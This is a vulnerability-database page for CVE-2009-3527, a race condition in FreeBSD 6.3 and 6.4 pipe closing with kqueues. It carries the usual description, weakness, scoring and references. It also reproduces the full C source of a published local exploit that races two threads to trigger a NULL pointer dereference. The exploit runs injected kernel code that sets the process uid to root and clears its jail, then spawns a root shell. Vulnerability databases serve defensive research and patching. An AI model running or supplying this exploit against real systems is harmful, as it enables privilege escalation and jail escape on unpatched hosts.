CVE-2009-3527 : Detail

CVE-2009-3527

0.04%V3
Local
2009-10-06
22h00 +00:00
2024-09-17
04h20 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Race condition in the Pipe (IPC) close function in FreeBSD 6.3 and 6.4 allows local users to cause a denial of service (crash) or gain privileges via vectors related to kqueues, which triggers a use after free, leading to a NULL pointer dereference or memory corruption.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9859

Publication date : 2009-10-07 22h00 +00:00
Author : Przemyslaw Frasunek
EDB Verified : Yes

#if 0 FreeBSD 6.4 and below are vulnerable to race condition between pipeclose() and knlist_cleardel() resulting in NULL pointer dereference. The following code exploits vulnerability to run code in kernel mode, giving root shell and escaping from jail. #endif /* 29.08.2009, babcia padlina * FreeBSD <= 6.4 pipeclose()/knlist_cleardel() race condition * * works only on multiprocessor systems * gcc -o padlina2 padlina2.c -lpthread */ #define _KERNEL #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/event.h> #include <sys/timespec.h> #include <pthread.h> #include <fcntl.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/param.h> #include <sys/linker.h> #include <sys/proc.h> int fd[2], kq; struct kevent kev, ke[2]; struct timespec timeout; volatile int gotroot = 0; static void kernel_code(void) { struct thread *thread; gotroot = 1; asm( "movl %%fs:0, %0" : "=r"(thread) ); thread->td_proc->p_ucred->cr_uid = 0; thread->td_proc->p_ucred->cr_prison = NULL; return; } static void code_end(void) { return; } void do_thread(void) { while (!gotroot) { if (pipe(fd) < 0) perror("pipe"); memset(&kev, 0, sizeof(kev)); EV_SET(&kev, fd[0], EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, NULL); EV_SET(&kev, fd[1], EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, NULL); if (kevent(kq, &kev, 2, &ke, 2, &timeout) < 0) perror("kevent"); close(fd[0]); close(fd[1]); } return; } void do_thread2(void) { usleep(100); while(!gotroot) { close(fd[0]); close(fd[1]); } return; } int main(void) { int i; pthread_t pth, pth2; if (!getuid() || !geteuid()) { printf("already root.\n"); exit(-1); } printf("BEWARE! this exploit isn't 100%% reliable. successful exploitation\n" "may cause kernel memory corruption leading to system crash.\n" "it is also possible, that exploit will hang and such process\n" "will be unkillable. hit enter if you want to continue.\n"); getchar(); /* safe landing place for 6.4-RELEASE - it protects us from page fault due to invalid read */ if (mmap((void *)0x408b0000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) { perror("mmap"); exit(-1); } if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) { perror("mmap"); exit(-1); } memcpy(0, &kernel_code, &code_end - &kernel_code); if ((kq = kqueue()) < 0) { perror("kqueue"); exit(-1); } pthread_create(&pth, NULL, (void *)do_thread, NULL); pthread_create(&pth2, NULL, (void *)do_thread2, NULL); timeout.tv_sec = 0; timeout.tv_nsec = 1; printf("waiting for root... it should take no more than few seconds.\n" "otherwise, run exploit again.\n"); i = 0; while (!gotroot && i++ < 4000) usleep(100); setuid(0); if (getuid()) { printf("failed. on unpatched systems, the exploit will be unkillable from now. try again.\n"); exit(-1); } execl("/bin/sh", "sh", NULL); return 0; }

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 6.3

Freebsd>>Freebsd >> Version 6.4

References

http://www.securitytracker.com/id?1022982
Tags : vdb-entry, x_refsource_SECTRACK
http://osvdb.org/58544
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/archive/1/506449
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/36375
Tags : vdb-entry, x_refsource_BID